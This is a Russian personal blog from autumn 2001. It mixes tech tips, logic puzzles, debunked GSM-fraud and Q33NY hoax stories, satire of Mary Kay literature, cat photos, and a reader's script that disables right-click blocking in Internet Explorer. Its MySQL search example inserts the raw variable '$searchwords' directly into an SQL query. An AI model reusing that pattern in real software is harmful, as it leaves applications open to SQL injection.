ECTACO Language Teacher Gold Partner v6 (5.5Kb) То, о чем так долго твердили фантасты свершилось! Вот тут за 497 баксов можно купить машинку ECTACO Language Teacher Gold Partner v6 (ну и титулов у нее), которая умеет переводить произнесенные (!) фразы с русского на английский и обратно.

Внутри у нее спрятан словарь на миллион слов, туристический разговорник для семи языков: английского, русского, немецкого, французкого, испанского, итальянского и португальского, цифровой диктофон на 12 минут, записная книжка с памятью 2Мб, телефонная книга, заметки, калькулятор, несколько игр и прочее. Оснащено это все небольшой клавиатурой и сенсорным экраном. Есть возможность для синхронизации с компьютером.

Что немаловажно, Language Teacher может помочь выучить английский язык - в его наборе есть справочник английской грамматики, самоучитель TOEFL, справочник английских неправильных глаголов и система коррекции акцента. Т.е Partner V6 может прослушать, как вы говорите то или иное слово и сказать насколько произношение соответствует эталону.

Хорошая машинка. :) Подробнее о ней можно почитать здесь.

Не знал.


[..] БД MySQL делать такую сортировку очень просто с использованием FULLTEXT полей.

Для вывода результатов поиска по релевантности необходимо:

1. Требуемые поля VARCHAR, либо любые из разновидностей полей TEXT (SMALLTEXT, MEDIUMTEXT и т.п.) сделать ключами FULLTEXT:

ALTER TABLE table ADD FULLTEXT(field)

Или во всеми любимом phpMyAdmin'е, который я слегка подправил для работы с FULLTEXT полями (архив прилагается - вдруг кому пригодится).

2. Дальше - еще проще:

$query = "SELECT *, MATCH field AGAINST ('$searchwords') as relev FROM table ORDER BY relev DESC" Далее можно навешивать всякие LIMIT'ы и прочее для удобного вывода.

3. Все::)
 

Почитать про это можно у Дмитрия Лебедева или более полно, нo уже на английском в руководстве по MySQL.

Нда. MySQL, конечно, не ахти какая СУБД, но наличие различных фич и модулей для сопряжения с чем угодно делает ей честь.

За ссылочки спасибо Александру Ефремову.

Вниманию казанцев!

Пользователям Интернет в городе Казани компания "Tatarstan-on-Line" подготовила подарок: с 1-го по 7-е октября 2001 года предоставляется неограниченный бесплатный доступ в Сеть с использованием гостевого доступа. Логин: guest, пароль: guest, модемный пул на телефонах 99-77-99. Поддерживаются V.34+, V.90 и V.92.

Подробнее об акции и сроках проведения можно прочитать вот по этому адресу.

За ссылочку спасибо Владиславу Спиридонову.

Не успел я собраться с духом и решить задачу про дома, Петь, Мить и прочих мерседесах, как мне прислали еще три. Первые две от Dead Emotion.


[ .. ]
а, вот, кстати, задачка, по-моему несколько более интересная ;)
Говорят, на собеседовании в Microsoft на решение такой давали 30 мин.

Короче, есть мост, по которому могут пройти максимум 2 чувака.
Ночь, мост неосвещён, без фонарика по мосту ходить нельзя.
Чуваков четверо, все на одном берегу, фонарик один.

Чувак Men1 может перебежать через мост за 1 мин.,
Men2 - за 2 мин.,
Men5 - за 5 мин.
Men7 - за 7 мин.

Если по мосту идут двое, они двигаются со скоростью самого медленного
(т.е. Men1 и Men7 пройдут за 7 минут).

Вопрос:
        Как им всем четверым переправиться на другую сторону за 14 мин?

PS: решение есть ;)
 

Эту я решил минуты за четыре. Я умный, ага. :) А вот над следующей подумать еще не успел. Как-нибудь в другой раз. :)


и еще раз ;)
чуть на забыл.... - вот вещь, которая меня в свое время повергла в
довольно продолжительный ступор... ;)
задачка, скорее не из области математики и вычислений, а придумывание
чего-то эдакого.... ;)

Несколько золотоискателей захотели разделить намытый ими золотой песок
поровну, однако весов рядом не оказалось, а поехать в город, оставив
песок никто не захотел. Если бы их было двое, то все было бы понятно:
первый делит кучу на две части, а второй первым выбирает себе любую
часть, при этом, если кому то и досталась меньшая часть, то ему в этом
следует винить только себя. Обобщите способ раздела песка поровну
между n золотоискателями (n>2). Способ должен гарантировать, что
каждый получит не менее 1/n песка (конечно если только он сам не
оплошается), даже если остальные золотоискатели вступят в сговор.
 

Третья задача - от Олега Степанищева. Если не ошибаюсь, что-то подобное мне уже загадывали, еще в школе, так что, думаю, задача довольно известная, но, может быть, кто-то ее еще не видел.


В саду росло 49 деревьев - по семь в обоих направлениях. Садовник нашел, что деревьев слишком много; он желал расчистить сад от лишних деревьев, чтобы удобнее разбить цветники. Позвав работника, он дал ему такое распоряжение:

- Оставь только пять рядов деревьев, по четыре дерева в каждом ряду. Остальные сруби и возьми их себе на дрова за работу.

Когда рубка кончилась, садовник вышел посмот-реть работу. К его огорчению, сад был почти опустошен: вместо 20 деревьев работник оставил только 10, срубив 39 деревьев.

- Почему же ты вырубил так много? Ведь тебе сказано было оставить 20 деревьев! - распекал его садовник.

- Нет, не сказано "20"; сказано было оставить пять рядов по четыре дерева в каждом. Я так и сделал. Посмотрите.

И в самом деле, садовник с изумлением убедился, что оставшиеся на корню 10 деревьев образуют пять рядов, по четыре дерева в каждом. Приказание его было исполнено буквально, и все-таки вместо 29 деревьев работник вырубил 39. Как же ухитрился он это сделать?
 

Скоро в сборник задач превращусь, ей-богу. :) Кстати, а что это значит "ей-богу"?

Yandex. Энциклопедии (4Кб) Ребята из Яndex - молодцы. Скоро, думаю, появится поговорка "неисчерпаем, как Yandex".

Пою дифирамбы я по поводу нового сервиса - "Яndex. Энциклопедии".

Со всей ответственностью сообщаю - появления этого сервиса я ждал очень долго. Именно такого - четкого, простого и удобного. Именно по этой причине мне не подходит "Кирилл и Мефодий" мне не по вкусу - похоже на помойку.

В данный момент поиск осуществляется более чем по 200 тысячам статей и 9-ти энциклопедиях. Перечислю, что бы вы прочувствовали всю мощь ресурса.

БСИ, малый энциклопедическый словарь Брокгауза и Ефрона, толковой словорь Даля, малая медицинская энциклопедия, словарь основных уголовно-процессуальных понятий и терминов, экономические и финансовые словари Глоссарий.ру, энкциклопедический словарь "Политические деятели России 1917", энциклопедический словарь "Всемирная история" и энциклопедический словарь "История Отечества с древнейших времен до наших дней".

Кстати, среди всего этого великолепия не нашлось толкования слова "гомонок" ("кошелек"), которое так любит упоминать моя бабушка. Странно, слово-то пусть и из псковского, кажется, наречия, но, тем не менее, вполне русское, да и в бумажном "Брокгаузе..." нашлось без проблем.

Нда, и вот еще. Сравните вот этот запрос с вот этим. И скажите мне почему найдено разное количество страниц.

Телефон с ручкой (4.2Кб) Помните фонарик "Жук", тот самый у которого была ручка сбоку, которую надо было крутить, что бы осветить дорогу?

Компании Motorola и FreePlay Energy Group объединили усилия для создания девайса, способного работать запитывать телефоны тем же нехитрым способом. Покрутив ручку 45 секунд, можно без проблем говорить 5-6 минут по телефону, что на средний звонок вполне хватит.

Девайс появится к концу года и будет совместим с телефонами Моторола и популярными моделями некоторых других фирм.

Не знаю кому как, а мне это напоминает попотопные телефоны с ручкой, которые так любят показывать в "фильмах про революцию". Там электричество для вызова "барышни" как раз добывалось при помощи аналогичной ручки. :)) Все новое - хорошо забытое старое.

Подробности - тут.

Когда уже заливал этот выпуск обратил внимание на то, что обратный адрус Dead Emotion указывает на Gazeta.Ru, где, кстати, все, кто попытался решить задачу про пять домов, решили ее успешно...


[ .. ]
ES>> Ну как? Журналисты решили? :))))

e> да ужас какой-то.... ;) пока 100% решаемость... - то есть все, кто
e> брались, все решили.... кошмар, одним словом....
e> может, Энштейн имел в виду, что только 2% людей ВОЗЬМУТСЯ за ее
e> решение?.... ;) хотя, процент взявшихся решать уже за 10% от общего
e> количества людей в офисе перевалил.... ;)
e> люди, поумнели, чтоль.... ;) что-то более нелинейное им подавай.... ;)

Опс. Обратил внимание на адрес. :)) Умные и исключительные люди
работают в Газета.Ру :))
 

Наверняка Эйнштейн говорил об усредненных результатах, а сотрудники Газета.Ру врядли могут считаться людьми со средними показателями. Впрочем, Эйнштейн насчет двух процентов мог и ошибаться. :))

Комментировать
1 октября 2001 16:20

mod_bf, GSM again, Лениногорск, задача, собака на стене

Поднятую в прошлый раз тему "Мери Кей" неожиданно поддержал Вит Ценев. Не знаю, случайно ли так совпало или его заметка явилась следствием моей ... В общем рекомендовано к прочтению.

Сегодня просматривал модули к Apache, просто что бы быть в курсе каких высот достигла наука программирования за то время, как я делал это в последний раз...

Как-то давно, кажется в прошлом веке, делал я сайт посвященный весьма странному, на фоне распространненых ныне, языку программирования - Brainfuck. Извините уж за ненормативную лексику, но именно так и называется. По своему действию на мозги. :) Хотя язык SMETANA, по-моему, все же круче.

Но я отвлекся. Язык меня настолько увлек, что я мало того, что сделал сайт для него, но еще и написал оптимизирующий интерпретатор и транслятор на JavaScript.

Так вот, просматривая список модулей, я с удивлением обнаружил, что кто-то увлекся этим языком настолько, что написал модуль к Apache, позволяющий изготавливать CGI-скрипты на этом языке. Хм.. думаю, весьма оригинально будет изготовить сайт не при помощи PHP, Perl или ASP, а с использованием Brainfuck. :))

Хотя, конечно, у языка мало возможностей к расширению и, в текущей версии, нет возможности где-то сохранять информацию, разве что использовать для этой цели cookies. Да и полноценные CGI там не напишешь - хотя в последней версии есть возможность принимать данные от запросов GET и POST через операторы ввода, но нет возможности узнать длину запроса GET, что, вкупе с блокирующим оператором ввода, может привести к зависанию скрипта. Да и с переменными окружения не все в порядке...

Как бы там ни было, модуль я себе скачал, вкомпилил в Apache и попробовал запустить из-под Apache "песню о пиве". Заработало. :) Никому не нужен сайт на Brainfuck? :)

На столбе вчера увидел... И на чем только люди не зарабатывают. :)


НАРКОЗАВИСИМОСТЬ
тел. XX-XX-XX
ГАРАНТИЯ
 

Продолжают приходить письма по поводу пропатчивания GSM на предмет халявы и наших кошельков - на предмет уменьшения их толщины. Я выложу только два, которые имеют на борту ссылки. Благодетель из Эстонии вовсе, оказывается, не одинок в своем желании за небольшую сумму сделать нас всех счастливыми. Впрочем, читайте сами. Коментарий только один, будете ходить по ссылкам - возьмите вилку побольше. Лапшу с ушей снимать.

За первую ссылочку спасибо Рамилю Хасбиуллину.


...
На фотографии действительно моторола(разъем для шнурка соответсвующий), не совсем понятно какая но
похоже что из м-серии. Неужели не понятно что деньги считаются на
стороне оператора, и телефон никак не может на это повлиять.
Это метод выужывания денег и мобилок , 25 бяков вроде как не так уж и
много, если обещают золотые горы и безумную экономию...
Могу подбросить еще одну ссылку для коллекции :-))

http://ajur.boom.ru/

Как Вам перепрошивка мгтсной карты в карту сим для гсм телефона.
А Татинком в Казани занимается фигней продвигая ДАМПС сеть, он инет еще
не обещает, сети 3G ?(просто любопытно).Завлекает народ смс-ками и
пейджингом, но это так к слову.
К моему сожалению в мирУ рулит гсм, а так хочется "безопасной связи"
:-))( CDMA - свЯзь нашего города!)

 


Вторая принадлежит Dmitry Tsyapa.


Привет

а по поводу шары на исходящих звонках есть еще одна ссылка

http://freegsm.bigmir.net/

по крайней мере здесь написано гораздо более правдоподобно
и финансовый риск меньше.

хотя верится с трудом ....

PS: видел еще одну подобную русскую страничку но там продавали уже аппаратно модифицированные телефоны, (описание довольно сложное было) и много иностранных подобных предложений.
 

Лениногорск (7.5Кб) У Вебтилятора стащил ссылочку на сайт, где можно посмотреть данные о населенных пунктах России, как то: краткую историю, численность, расположение на карте, сведения о промышленности и так далее.

Что ценно, есть и маленькие города, типа моей необъятной (68 тыс в 2000 году) родины (Лениногорск, Татарстан).

Кстати, Лениногорск был еще и в Казахстане. По этому поводу у нас в городе ходит такая вот легенда.

В нашем городе есть телевышка и собственное телевидение. Если подумать, для города с такой численностью - непозволительная роскошь. А появилась она вот как...

Когда-то, когда слова "реклама" еще не было ругательством, а обладатель жевачки считался богачем город Лениногорск республики Казахстан заказал за немалые деньги, надо думать, себе телебашню. Москва все это дело санкционировала и потянулись поезда к Лениногорску.

Ага. Прошло некоторое время. В Татарстане, получив нежданный подарок, очень обрадовались и разрезали ленточку и стали башню возводить. Казахский Лениногорск забеспокоился. Написал письмо в Москву, откуда получили ответ, что все, мол, выслали, наверное какие-то задержки, ждите.

Через некоторое время обрадованные лениногорцы, жители Татарстана запустили башню и написали в Москву благодарственное письмо, типа, спасибо за подарок, привет из Татарии. История умалчивает кому дали по рогам за разгильдяйство и получил ли Казахстан еще одну телебашню, но благодарные лениногорцы до сих пор передают эту легенду от отца к сыну. :))

Спектатор по-моему, как-то публиковал задачку про две веревки, которые горят час... Я тут нашел весьма интересную задачку для решения которой я еще как-то не собрался духом. Feature этой задачи состоит в множестве факторов и весьма хитрых связях между ними. Говорят Эйнштейн считал, что эту задачу могут решить только 2% людей.

Конечно, в те времена ничего не слышали о переборе вариантов на компьютере. Впрочем, он имел ввиду людей. В общем, проверьте себя:


Дано:
Есть пять домов разного цвета.
В каждом доме живет человек c уникальным именем.
Каждый пьет уникальный напиток.
Каждый курит индивидуальную марку сигарет.
И у всех разные машины.

- Рома живет в красном доме
- Петя ездит на "Dodge"
- Вася пьет чай
- зеленый дом стоит слева от белого
- хозяин зеленого дома пьет кофе
- тот кто курит "PallMall" ездит на "Mazda"
- хозяит желтого дома курит "Dunhill"
- тот кто живет в центральном доме пьет "Pepsi"
- Коля живет в первом доме
- тот кто курит "Marlboro" живет в доме следующим за тем, кто ездит на "Audi"
- тот кто ездит на "BMW", живет в следующем доме за тем, кто курит "Dunhill"
- тот кто курит "Camel" пьет пиво
- Жора курит "L&M"
- Коля живет в доме рядом с голубым
- сосед того, кто курит Marlboro, пьет "Coca-Cola"

Вопрос:
Кто ездит на "Porsche"?
 

P.S. Да, ответы мне посылать не надо. :)

Ну и на закуску, картинка digitalk. Активисты общества защиты прав животных добились своего - у животных появлись права. Только активисты забыли - наличие прав подразумевает наличие обязанностей и, как следствие, ответственности. Интересно, с какого возраста начинается уголовная отвественность у собак?

Собака на стене (25Kb)
Комментировать
27 сентября 2001 16:40

Мери Кей, отдыхающий Нострадамус

Всем привет! Сегодня я, собственно, ненадолго. Работа засосала.

Я всегда думал, что "Мери Кей" - это сеть распространителей одноименной косметики, немного двинутых на этой идее. Недавно мне в руки попали два номера журнала "Mary Kay. Апплодисменты". Я ошибался. Мери Кей - это языческая религия, некая секта.

Я много слышал о том, как люди меняются, попав в эту организацию, что с ними происходит и какие идеи они начинают проповедовать. Но, пока я не прочитал статьи этого журнала, я не понимал насколько они там одержимы Идеей Мери Кей.

Я взял на себя труд перепечатать пару выдержек из текстов, присылаемых читателями этого журнала. Не знаю, как вам, а мне это все показалось ужасно смешным.


Сказка о сказочной работе.

Жил-был на свете мальчик по имени Карл, было ему 11 лет. И была у него мама по имени Алиса. Она трудилась с утра до ночи - готовила еду в доме короля, рубила дрова в лесу и нянчилась с королевской дочкой. Алиса не была красива, непосильная работа утомляла ее, и, наверное, поэтому ее муж, отец Карла, ушел к другой женщине.

Карл был очень трудолюбив и верил в Бога. И еще он очень любил свою маму и помогал ей, как только мог. Он делал всю работу по дому. Он молился Богу, что бы тот сделал его маму Алису красивой, что бы больше не издевались над его мамой богачи, называя ее уродиной. Бог решил помочь бедному мальчику и его маме и послал на Землю Богиню красоты Мэри Кэй. Богиня явилась перед Карлом, когда он молился. "Кто Вы?" - спросил мальчик. "Я - Богиня красоты Мэри Кэй. Бог послал меня помочь твоему горю. Возьми этот крем и дай его своей маме. Пусть она пользуется им каждый день, утром и вечером".

Прошла неделя, и Алиса стала такой красавицей, что когда она выходила на улицу, мужчины не могли оторвать глаз от такой красоты. Увидев Алису, муж упал к ее ногам и, рыдая, просил прощения. Добрая Алиса простила супруга.

А Богиня красоты Мэри Кэй появилась еще раз предложила Алисе работу, которая заключалась в том, что бы помогать другим людям так же, как делает это сама Богиня. Алиса охотно согласилась и рассказала об этом другим жителям королевства. Многие с радостью согласились заняться такой работой. И в память о Богине Мэри Кэй стали таких людей называть Консультантами "Мэри Кей". А тех Консультантов, которые совершили много добра и помогли очень многим людям, стали называть Старшими Консультантами "Мэри Кэй". Сама Алиса, конечно, стала Старшим Консультантом "Мэри Кэй", и жили они всей семье долго и счастливо.
 

... и умерли в один день, наевшись крема для век.

Сказка о том, как богине понадобились денжата, но самой распространять крема ей было в падлу. Только не пойму почему людей "в память о ... Мэри Кэй стали ... называть Консультантами"? :) Почему "в память"? А, понятно - богиня укатила на Канары и больше ее никто не видел. :)

Написал эту прелесть мальчик Максим Дубин, 11 лет от роду. Текст конечно подкорректировали, но основную идею Максим выразил сам - в журнале рядом со сказкой есть фото оригинала, очень мелкое, но прочитать его можно.

Вот еще один перл. Забегая вперед. Кажется из этих виршей следует, что люди, не занимающиеся "Мэри Кэй", вот я например, поголовно обманывают народ, "хотят и умеют". Так, может, мне заняться "с ней" всерьез? :) А то занимаюсь всякими недостойными вещами.

Рекомендуется к чтению вслух, громко, с пионерскими интонациями.


Бизнес - быть может "Мэри Кэй"!?
(памятка консультанту-новичку)

Обманывать людей не можешь ты,
Не хочешь не умеешь.
Так может, "Мэри Кэй" попробуешь
открыть...
И для себя, и для людей.
Законы "Мэри Кэй" мирятся с твоей душою,
Так, может, ты займешься "с ней" всерьез?!
Обмана нет - здесь ощущенье.
Любовь к общению, чистоте и бескорыстью.
Свой стиль откроешь для себя и для людей.
Боишься не успеть? Но почему?
Работа будет так поставлена -
Как нужно для тебя.
Клиенты будет у тебя,
И много будет их.
Доход? Зачем? И почему?
Иль сколько? - спросишь ты, возможно.
Доход всплывет вдруг ниоткуда...
Зачем?
Так это нужно для тебя.
В твоей учебе, в твоей работе
Да и семье твоей не помешает вовсе!
Ведь "Он" получен -
В труде твоем, в общении с людьми
И "правильной" подборке средств.
Создашь ли группу ты свою?
Создашь, и очень быстро!
И в ней не будет сбоев никогда.
Работать нужно правильно и честно.
И тогда - получат все успех!
Сейчас на 1-ой ты ступени - "Консультант
по красоте".
Труда тебе не составит никакого
Подняться на вторую вдруг ступень.
И ты уже имеешь "Личную группу по
красоте".
Что ж, хорошо!
Где два - там три, четыре Консультанта,
И ты на третью ступень вступила -
И это не предел!
Ты загорелась покорить четвертую ступень,
Создав команду более пяти.
Клиентов больше. Команда растет.
Тебе в общении нету равных!
Так почему остановилась ты?
Иль нет - ты укрепляешь группу свою!
И развлетвляешь ее больше.
И вот быстро и легко,
В работе правильной с людьми
Ты получила пятую ступень.
А там шестая на пути твоем.
Объем продаж растет все больше,
Престиж среди людей твоих.
В азарт вошла.
Азарт помочь другим достичь ступени,
Азарт в общении с людьми.
И вот не за горами -
Ты - Старший Лидер Бизнес-Группы,
Седьмая ведь уже ступень!
А там - Ведущий Старший Лидер -
восьмая тут ступень.
Программа выполнена?
Но это ведь не все!
И, посмотрев назад, несложно будет,
С опытом былых ступеней,
Подняться выше... и тогда девятая твоею
будет.
А там, глядишь, на пьедестал
Подымет вдруг тебя десятая ступень!
И богата ты!
И для себя, и для людей, и близких.
Богатство это не в деньгах же вовсе.
В общении оно с людьми,
И чистоте твоей души!
И путь к успеху - оценим.
 

Любопытно, что слова "Он" и "правильной" взяты в кавычки. В контексте получается очень символично. Для тех, кто не дочитал текст до конца рассказываю о чем он. Там о девушке, которая стала Консультантом и когда-нибудь, может быть уже завтра, достигнет последней ступени "Мери Кей" и станет Богата и Щаслива.

А богата, она, как выясняется, станет ни чем иным, как общением с умными и интересными людьми, вроде меня, а так же духовной чистотой, вроде как у меня. Ее путь к успеху оценили, всем спасибо, все свободны.

Там еще такого много.

Хм... Любителям "Нострадамуса" посвящается. В общем открываете "Word" или "WordPad" набираете фразу "Q33NY" (говорят это номер рейса самолета неудачно припорковавшегося в WTC), выделяете эту фразу и меняете шрифт на "Wingdings"... Сюрприз!..

Пользователи IE могут нажать Специальную Кнопку, что бы посмотреть что получится, если произвести вышеозначенные действия.


Интересно, кто первых из современных авторитетов в мире предсказаний скажет, что он-де предсказал терракт в Америке, но его, конечно же, никто не послушал?..

Информацию предоставил Олег

Уже после того, как разместил этот выпуск Romantik прислал мне вот эту ссылку. Конечно, у меня и сомнений не было в том, что пророчеством здесь и не пахнет, но, оказалось, что и совпадения тут никакого нет - обычная дезинформация (язык не поворачивается назвать это "шуткой").

Нда... Собственно, мне уже пора. Спасибо всем, кто мне написал, все письма я получил, отвечу на них попозже.
Комментировать
22 сентября 2001 15:22

Фотоs: брусничный фотоальбом

Сегодня Фотошоп обругал меня последними словами и скрылся. Так что будем считать, что у меня на весь день испортилось настроние и писать я не буду. :)) Буду сканировать и выкладывать. Давно хотел показать в какую красавицу превратилась моя кошка.

Брусничка три (20.5Кб)

Figure 1. Пробуждение Бруснички.

Брусничка раз (14.5Кб) Бурсничка два (17.5Кб)

Figure 2. Утреняя зарядка и планирование дня.

Брусничка четыре (15.5Кб)

Figure 3. Легкий завтрак.

Брусничка шесть (27.8Кб)

Figure 4. Сон после завтрака.

Брусничка семь (14.8Кб) Брусничка восемь (20.3Кб)

Figure 5. Брусничка подумывает об замужестве, но я говорю, что ей еще рано об этом думать.

Брусничка пять (20.3Кб)

Figure 6. Брусничка расстраивается...

Брусничка девять (16Кб) Брусничка десять (15Кб)

Figure 7. ...но потом решает, что выскочит замуж тайно.

С уважением, Евгений Степанищев.
Комментировать
21 сентября 2001 17:00

GSM fake, голоса верующих, BraMC, advanced RClick patch

Нда, похоже переутомился... Спал 13 часов. Сегодня почитаю почту.

Спасибо всем, кто поздравил меня с днем моего рождения. Очень тронут. :) Оказалось, в частности, что меня угораздило родится в один из девяти дней года, совпадающих по номеру со степенью двойки. Вот письмо от автора "Изголовья":



Приветы Евгений.

С Днем Рождения. Всего самого. Его которого. Удачи в начинаниях и
профросте. Будь счастлив.

Если ты родился 13 сентября, то получается что твое др совпадает с
днем программиста. 256-ой день года. Двойной праздник. Вот так вот.


Всё. Всего. Кадруй.
_________________________________________________________________
Да пребудет с тобой Великая Сила,

hEAD                      mailto:    head@fazers.org  -  домашний
                                     head@infost.ru   -  рабочий
                                   
                          Изголовье: http://fazers.org


Танталовый кондюк (8Kb) Эх... А так хотелось халявы... Слишком злорадствовал по поводу мнимого прокола фирм, выпускающих телефоны, что бы прислушиваться к голосу разума.

Если кто еще не понял, я говорю о патче GSM-телефонов на который я повелся в позапрошлой заметке. Какой коварный человек, а я ему так верил! :))

Письмо от Александра Скородумова:


AAS>> Я конечно все понимаю, но от Вас/тебя такого не ожидал... :)

AAS>> 1) Деньги ВСЕГДА считает обслуживающий БС компьютер оператора. ЛЮБОГО.
AAS>> 2) На фотографии обведен кругом обычный танталовый конденсатор.
AAS>> 3) Дело Лени Голубкова процветает.

ES> А так хотелось верить.. :)))
ES> Надо было разглядеть картинку повнимательнее.. А не может это быть
ES> кварц? Я бросил заниматься радиолюбительством еще когда детали были
ES> большими... :) Кстати, на микросхемке и кондёре так же можно собрать
ES> тактовый генератор... правда погрешность будет немаленькая.. :)

Не, ну как халявы то хочется... :) На этом приципе все лохотроны и работают. :)

Это конденсатор, причем в цепи питания (помеходав). Кварцы сейчас практически не используются, используются осциляторы (4 ноги) и готовые кварцевые генераторы (3 ноги). Корпус как правило металлический.

Генератор собирается на RC цепочке, помимо нестабильности и температурной зависимости (хорош таймер), на таком кондюке (минимум 20 микрофарад) можно только генератор на 0.001 герца сделать.... :)

Ты вроде программист... если бы ты писал программу посчета денег за скажем онлайн доступ в интернет... ээээ... как бы ты (и когда. в смысле в какое время и через какие интервалы) спрашивал у софтины клиента сколько времени он потратил? :) Тип запускаем свой таймер, и каждую секунду дергаем софт клиента, типа а сколько ты считаешь прошло времени ? У клиента таймер куда точнее.... :) Ты вдумайся - отсчитывать время по "импульсам" от телефона клиента..... :) Насчет денег на карточке.... типа когда ты кладешь бабки оператору, то приносишь с собой карточку и он на нее зачисляет бабки... :) А почему тогда надо модифицировать телефон? Не проще ли продавать карточки с перерезанным проводом "по которому с нее бабки списываются"... Да, в конце концов, посмотри на дату последнего этого сайта... Типа единственный в мире гений, который умеет кварцы перепаивать.... Я надеюсь - достаточно? или дальше продолжать ? :)

Итого (без вдаваний в подробности):
1) На карточке нет ничего кроме "серийного номера".
2) Время считает БС (базовая станция/сота)
3) Деньги считает компьютер обслуживающий БС.
4) Количество денег/времени на твоей карте находится в базе компьютера оператора а не в карточке.
5) Бесплатный сыр....
 

...бывает только в мышеловке... Да, знаю, знаю. :) Вот еще одно письмо. От Дмитрия Абрамова.


Привет!

По поводу бесплатного ГСМ из прошлой заметки

Описание принципа сразу показалось бредовым, но на всякий случай переправил ссылочку более сведущему в этих делах человеку, сопроводив вопросом "что за хрень?". И вот что получил в ответ :)

===================================================
Время считает БС (базовая станция/сота). Деньги считает компьютер
обслуживающий БС. На фотографии кругом обведен танталовый кондюк (помеходав в
цепи питания).
===================================================

Конструктивизму, согласен, маловато, но авторитет отвечающего и выбранная им манера говорит за то, что более наглое кидалово придумать сложно.

Публиковать сие дословно, думаю, не стоит :)

w/BRGDS,
/Dmitry
 

И закроем эту тему. :) Я уже красный от стыда весь. :)

Сегодня слушал "Победоносный голос верующего" по телевизору - другие каналы в связи с профилактикой молчали... Да... Ребята из этой передачи явно больные.

Цитирую. Почти дословно.


Со мной говорил Бог. Он сказал: "У пастора вон того прихода плохая машина. Тебе надо что-то сделать с этим. Сходи к прихожанам, пусть они что-нибудь сделают с этим. Если они ничего не сделают сделай ты что-нибудь с этим. Мне не нравится, что у этого пастора такая плохая машина!".

Я сел на свой самолет и полетел в тот приход. Я сказал: "у вашего пастора очень плохая машина. Богу это не нравится. Надо что-то сделать с этим". Через месяц у пастора была новая машина.
 

Дальше он еще рассказывал о том, что через некоторое время он побывал в этом приходе и увидел большое количество новых машин, которые Господь дал своим прихожанам, потому что они купили пастору новую машину и так далее и тому подобное. А я выключил телевизор, сел в кресло и задумался... Верят ли они сами в то, что с таким жаром говорят с экрана?

Похоже не мне первому пришла в голову оригинальная идея попинать ребят из BraMC по поводу издевательства над желающими стырить картинки с сайта. :) Похоже, так же, что желающих это сделать было настолько много, что в Галерее появилось специальное предисловие, разъясняющее для чего же, собственно, было перехвачено событие мыши.

Лично я думаю, что очень маленький процент людей прочитает это предисловие. Человек приходит на этот сайт чаще всего смотреть картинки, а не читать. Что бы на текст обращали внимание предлагаю написать его на картинке и вывесить ее в галерею. Кстати, сами Талантливые Парни предлагают другой путь выдергивания картинок из их галереи.



Приветствую!

Открою тайну: картинка копируется из IE (если на ней нет ссылки)
простым
перетаскиванием мышой в Windows Explorer. И никаких js в строке
адреса.
Прощее надо быть. Прощее!!! :)

Кстати, правильно название нашего сайта пишется так: bramc, брамц,
BraMC (по
никам основателей).

Удачи!

/mc

Хых!.. :) Не знал. Пойду куплю себе книжку "Друг'эн'дроп для чайников". :)

Игорь Нестеров предлагает универсальный скрипт, позволяющий отключить все проверки на правую кнопку. Будем считать, что Игорь с домашним заданием справился, пусть и заранее. :))



Твой скрипт отключает не все проверки на правую кнопку. Я давно уже
написал
скрипт, знакомые погоняли по порносайтам, в результате получилось
вот такое
произведение, за полгода сайтов не поддающихся скрипту не нашлось
;-)

===чтобы был кнопкой в тулбаре==
REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet
Explorer\Extensions\{5F4D80C2-8FEE-4cf8-9F68-8DE39EB535AD}]
"ButtonText"="Restore Context Menu"
"MenuText"="Restore Context Menu"
"MenuStatusBar"="Restore Context Menu"
"Clsid"="{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}"
"Default Visible"="Yes"
"Icon"="C:\\Personal\\CSS Image\\0\\102.ico"
"HotIcon"="C:\\Personal\\CSS Image\\0\\102.ico"
"Script"="C:\\Personal\\CSS Image\\0\\restoremenu.html"


===restoremenu.html===
<SCRIPT LANGUAGE="JavaScript">
 function turnoff(element){
  if (element.oncontextmenu != null){
   alert(element.oncontextmenu);
   element.oncontextmenu = null;
  }
  if (element.onmousedown != null){
   alert(element.onmousedown);
   element.onmousedown = null;
  }
  if (element.onmouseup != null){
   alert(element.onmouseup);
   element.onmouseup = null;
  }
 }
 function turnoffall(doc){
  turnoff(doc);
  for(var i = 0; i < doc.all.length; ++i){
   turnoff(doc.all[i]);
  }
 }
 var parentwin = external.menuArguments;
 var doc = parentwin.document;
 turnoffall(doc);
 for(var i = 0; i < doc.frames.length; ++i){
  turnoffall(doc.frames[i].document);
 }
</SCRIPT>


Небольшие пояснения к скрипту. "C:\\Personal\\CSS Image\\0\\102.ico" - это путь до любой иконки, которую вы сможете найти. Она будет отображаться в тулбаре вашего IE."C:\\Personal\\CSS Image\\0\\restoremenu.html" - путь до файла restoremenu.html. Я обычно распологаю такие файлы в подкаталоге Web каталога Виндов. Все слеши в заменяемых путях должны быть именно двойными. Это важно.

На этом я прервусь. До связи! Пишите письма!
Комментировать
17 сентября 2001 09:00